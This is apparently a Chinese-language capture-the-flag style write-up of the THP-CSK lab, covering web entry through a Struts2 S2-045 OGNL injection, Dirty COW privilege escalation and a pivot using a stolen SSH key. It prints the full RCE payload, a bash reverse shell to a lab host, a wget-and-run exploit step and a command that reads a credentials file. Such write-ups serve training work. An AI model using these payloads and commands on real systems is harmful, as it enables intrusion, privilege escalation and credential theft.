THP-CSK靶场--内网横向移动(一)

THP-CSK靶场--内网横向移动(一)

网段基础服务探测

nmap在不加任何参数下可用于快速摸清网段基础服务的场景,如果是日常渗透或者巡检的话需要带上相应参数以便加快探测速度:

nmap 172.16.250.0/24

这里可以看到.10开放了http服务,那么这里就是作为入口机存在,可以对该ip进行更加详细的探测:

这里面有一个之前从来没有碰到过的8009,查了一下资料:

Apache JServ 协议(AJP)服务端口:
AJP(Apache JServ Protocol) 是 Apache HTTP Server 和 Tomcat(或其他 Java 应用容器)之间通信用的二进制协议,比 HTTP 转发效率更高。
典型架构如下:
客户端 → Apache (80/443) → AJP (8009) → Tomcat (8080)


web端口打点

正常打点web端口,先看80的,插件看了一眼没有啥东西

下面有一个登录功能跳转到登录口,显示了OpenCMS 10.5.3,然后同时页面直接给了默认的账户密码均为admin,尝试登录未果,弱口令没有,尝试SQL注入也未找到可能的注入点,但是在URL里看到的是这样的
http://172.16.250.10/kittens/login/index.html?requestedResource=&name=admin&password=admin123&action=login

那么尝试register,抓个数据包看看:

没啥反应,而且前面的路由也是/login,再试试递归扫描:

dirsearch -u http://172.16.250.10/kittens/ -r -R 3 --recursion-status 200-399

这里我的是新版的dirsearch,如果报错的话更新一下就行

在扫描的过程中出现的一个问题是有些路径扫出来是200,但实际访问的时候却是500,可能的原因是dirsearch命中了路由。

这个网站可能配置了伪静态或 MVC 框架,访问任何看起来合理的路径,都会返回一个“友好”的错误页面或路由兜底页,但这个页面本身是 200 OK,但dirsearch 没法区分这是真实文件还是兜底路由。

后面换了无影扫了一遍结果也差不多,那么这里的敏感路径大概率不存在了

再sqlmap再尝试跑一遍

sqlmap -u "http://172.16.250.10/kittens/login/index.html?requestedResource=&name=admin&password=admin&action=login" --level=5 --risk=3 --threads=10 --batch --dump-all

没跑出来东西,最后看看Opencms的漏洞,找了一下大多数是CSRF,XSS和XXE,但是有一个提到了Structs2漏洞,而刚好这台入口机的名字也正是Struct2,那么就说明可能当时我们扫目录的时候没关注的根目录就是突破口,重新再扫一遍【用无影扫】后发现了这么三个:

http://172.16.250.10/struts2-showcase/showcase.action http://172.16.250.10/struts2-showcase/modelDriven/modelDriven.action http://172.16.250.10/struts2-showcase/fileupload/upload.action

φ(゜▽゜*)♪


获取shell

看了一下URL第一想到的是文件上传的那个,先尝试传一个木马文件,但是后缀给改掉了:

不知道怎么下手,网上找struct2的漏洞有很多,得先知道具体的版本号,这个在config browser中可以找到为2.3.12

这里可以利用Struts2 S2-045 远程代码执行漏洞

漏洞的根本原因是由于在处理 Content-Type HTTP 请求头中的 multipart/form-data 类型时,Struts 2 使用了一个不安全的方式来解析上传文件的数据。当请求中包含恶意构造的 Content-Type 头部字段时,攻击者可以注入 OGNL (Object-Graph Navigation Language) 表达式,这些表达式会在服务器端被解释并执行,构造的payload如下:

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

感兴趣的话可以看看下面的解释:

#nike='multipart/form-data' // ↑ 声明这是一个 multipart 请求,骗 Struts2 进入文件上传解析流程 #dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS // ↑ 获取 OGNL 的默认无限制访问权限对象 #_memberAccess ? (#_memberAccess=#dm) : ( // ↑ 三元判断:_memberAccess 已存在就直接赋值,否则执行后面括号里的绕过流程 #container=#context['com.opensymphony.xwork2.ActionContext.container'] // ↑ 从上下文拿 Struts2 的依赖注入容器 #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) // ↑ 从容器里取出 OgnlUtil 单例(管理 OGNL 黑名单的工具类) #ognlUtil.getExcludedPackageNames().clear() // ↑ 清空禁止访问的包名黑名单(如 java.lang.ProcessBuilder) #ognlUtil.getExcludedClasses().clear() // ↑ 清空禁止访问的类名黑名单 #context.setMemberAccess(#dm) // ↑ 把当前上下文设为无限制访问权限 ) // ↑ 沙箱绕过完成,现在可以调用任意危险类 #cmd='id' // ↑ 要执行的系统命令,改这里就行 #iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')) // ↑ 判断是不是 Windows 系统 #cmds=(#iswin ? {'cmd.exe','/c',#cmd} : {'/bin/bash','-c',#cmd}) // ↑ 根据系统拼出不同的命令数组 #p=new java.lang.ProcessBuilder(#cmds) // ↑ 创建进程构建器 #p.redirectErrorStream(true) // ↑ 把 stderr 合并到 stdout,防止错误信息丢失 #process=#p.start() // ↑ 启动进程,执行命令 #ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()) // ↑ 拿到 HTTP 响应的输出流 @org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros) // ↑ 把命令执行结果拷贝到 HTTP 响应里 #ros.flush() // ↑ 刷新输出流,确保结果返回给客户端

这里我们上传一个正常的文件,然后填一下需要的caption并抓包,然后直接修改content-type就行

然后修改命令就是在图中框出来的部分,这里可以直接bash反弹:

bash -i >& /dev/tcp/172.16.250.128/4444 0>&1

如果想要简单一点的话可以直接上MSF,选择CVE-2017-5638,再配个设置【靶机为linux】这里就不具体演示了

set payload linux/x86/meterpreter/reverse_tcp set RHOSTS 172.16.250.10 set RPORT 80 run

入口机提权

这里面装的还是python3,所以得加个数字:

python3 -c 'import pty;pty.spawn("/bin/bash")'

sudo需要密码,然后SUID没啥东西,再看一下内核为4.4.0网上找找为脏牛提权,这里是64位的用到的是40616,具体地址戳这里 因为这里不是重点而且打到这台机器的师傅脏牛提权大概率已经接触过一两次了所以就不细讲了:

wget http://172.16.250.128:8000/40616.c gcc 40616.c -o cowroot -pthread ./cowroot

成功提权,但是有一个问题是获得的root不稳定,过一会儿就崩,所以需要一些命令在利用漏洞进行激烈的竞争条件攻击后,最大限度地保证系统的稳定性,防止内核崩溃导致你刚获得的权限瞬间丢失

echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn

拓展立足点

拿到root之后首先去root目录看一眼,在bash_history中找到了ssh登录另一台机器的痕迹:
ssh -i .ssh/id_rsa root@172.16.250.30

并且可以找到ssh私钥文件,但不知道为啥我的root还是不稳:

难不成还得用MSF搞个shell?

后面发现MSF的确实稳,难怪好多walkthrough都直接用的这个hhh

把私钥文件复制到本地后尝试登录:

这个错误是因为私钥文件权限太开放了。SSH 为了安全,要求私钥只能被所有者读写,不能被其他用户(或组)访问,所以得更改下权限

chmod 600 id_rsa

再次运行成功登录到jenkins

其实这里有个问题就是在入口机中我是直接找/root目录下有用的东西了,没有再去翻其他的,但肯定是信息知道的越多越好,所以还得再去看别的,别的师傅写的walkthrough里面是直接给了一个命令:

cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties

一个个拆分一下:

/opt/tomcat/→ 说明用的是 Tomcat,安装在 /opt 目录(手动安装的,不是 apt/yum)

webapps/→ Tomcat 的默认应用部署目录

kittens/→ 应用名称

WEB-INF/→ Java Web 应用的标准安全目录(不能直接浏览器访问)

opencms.properties→ OpenCMS 框架的配置文件

然后我就很疑惑为啥直接就一个cat命令甩出来了,后面才了解到之前的打点做的正是这些:

在web端我们能发现网页为opencms并且运行tomcat容器中,我们需要找的是opencms核心配置文件,而默认的文件名便是opencms.properties,在文件中有数据库连接配置,账户密码等关键信息

OpenCMS配置文件的默认路径固定在WEB-INF/config/文件夹下

文件/目录默认路径 (相对于 WEB-INF)说明
主配置文件夹/WEB-INF/config/存放所有核心配置文件的根目录。
核心属性文件/WEB-INF/config/opencms.properties数据库连接、系统设置等关键配置。
主XML配置/WEB-INF/config/opencms.xml引入其他配置文件的顶层配置。
静态导出配置/WEB-INF/config/opencms-importexport.xml控制页面静态化和导入导出功能。

然后OpenCms 是基于 Java 技术开发的,它需要在一个符合Servlet/JSP规范的 Web 容器中才能运行,在这里Tomcat就是作为OpenCMS搭建的载体,相当于操作系统和软件下面的安装顺序也说明了这一点:

  1. 安装JDK(Java 开发环境,不能用 JRE)

  2. 安装Tomcat(配置CATALINA_HOME环境变量)

  3. 部署OpenCms:将opencms.war文件复制到 Tomcat 的webapps/目录下

  4. Tomcat 会自动解压war包,然后通过浏览器访问 /setup 路径完成OpenCms的安装配置

所以再倒推到Tomcat的安装路径:/opt/tomcat子目录如下

子目录主要内容和用途
webapps/应用部署目录。存放具体的 Web 应用(如opencms.war),OpenCms 这类 Java 网站就部署在这里。
conf/配置文件目录。存放 Tomcat 自身的全局配置,如server.xml(配置端口、主机)和context.xml
logs/日志目录。记录 Tomcat 运行、应用报错、访问请求等信息,审计和排查时很有价值。
bin/启动脚本目录。存放启动 (startup.sh) 和关闭 (shutdown.sh) Tomcat 服务的脚本。

那么最后我们便能得出这个路径是怎么来的了 o( ̄▽ ̄)ブ

/opt/tomcat/webapps/[应用名]/WEB-INF/config/